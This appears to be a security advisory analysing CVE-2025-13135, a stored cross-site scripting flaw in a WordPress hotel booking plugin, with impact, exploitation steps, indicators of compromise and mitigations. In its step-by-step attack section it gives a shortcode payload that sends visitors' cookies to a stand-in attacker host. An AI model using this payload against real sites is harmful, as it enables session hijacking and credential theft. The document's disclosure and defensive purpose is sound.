CVE-2025-13135: 
WordPress vulnerability analysis and mitigation

CVE-2025-13135 is a Stored Cross-Site Scripting (XSS) vulnerability in the HotelRunner Booking Widget plugin for WordPress. It affects all versions up to and including 5.2.4, where insufficient input sanitization and output escaping on user-supplied attributes in the hotelrunner shortcode allow authenticated attackers to inject malicious scripts. The vulnerability was disclosed on November 21, 2025, with Wordfence as the reporting CNA. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically due to the plugin's failure to sanitize or escape user-supplied attributes passed to the hotelrunner shortcode before rendering them in page output. An authenticated attacker with at minimum contributor-level WordPress access can embed a crafted shortcode containing arbitrary JavaScript into a post or page. When any user visits the affected page, the injected script executes in their browser context. The attack vector is network-based, requires low privileges, low complexity, and no user interaction beyond visiting the page, with a changed scope indicating cross-context impact (Wordfence).

Successful exploitation allows persistent JavaScript execution in the browsers of all users who visit an injected page, including administrators. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims, defacement of site content, and redirection to malicious sites. The changed scope in the CVSS vector indicates that the impact extends beyond the plugin itself to the broader WordPress site and its visitors, with low confidentiality and integrity impacts per the scoring (Wordfence).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum contributor-level authentication on the target WordPress site, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the HotelRunner Booking Widget plugin version 5.2.4 or earlier, using tools like WPScan or by checking plugin metadata at /wp-content/plugins/hotelrunner/.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create a new post or page and insert the hotelrunner shortcode with a malicious attribute, e.g., [hotelrunner attribute=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish or save the page: Submit the post/page for review or publish it (depending on role permissions), embedding the stored XSS payload.
5. Trigger execution: When any site visitor (including administrators) loads the injected page, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

• Logs: WordPress post/page content containing [hotelrunner shortcodes with unexpected HTML or JavaScript attributes; web server access logs showing requests to pages with unusual query parameters or referrers from external domains.
• File System: Unexpected modifications to WordPress post content in the database (wp_posts table) containing <script> tags or encoded JavaScript within hotelrunner shortcode attributes.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing the hotelrunner shortcode; unusual cookie or credential data appearing in external server logs.
• Process/Behavior: Admin accounts performing unexpected actions (e.g., creating new admin users, changing settings) that may indicate session hijacking following XSS exploitation (Wordfence).

Site administrators should update the HotelRunner Booking Widget plugin to a version beyond 5.2.4 if a patched release is available; check the official WordPress plugin repository for the latest version (WordPress Plugin Page). If no patch is available, consider deactivating or removing the plugin until a fix is released. As a general hardening measure, restrict contributor-level account creation and review existing contributor accounts for unauthorized access. Implement a Web Application Firewall (WAF) with XSS filtering rules as an additional layer of defense (Wordfence).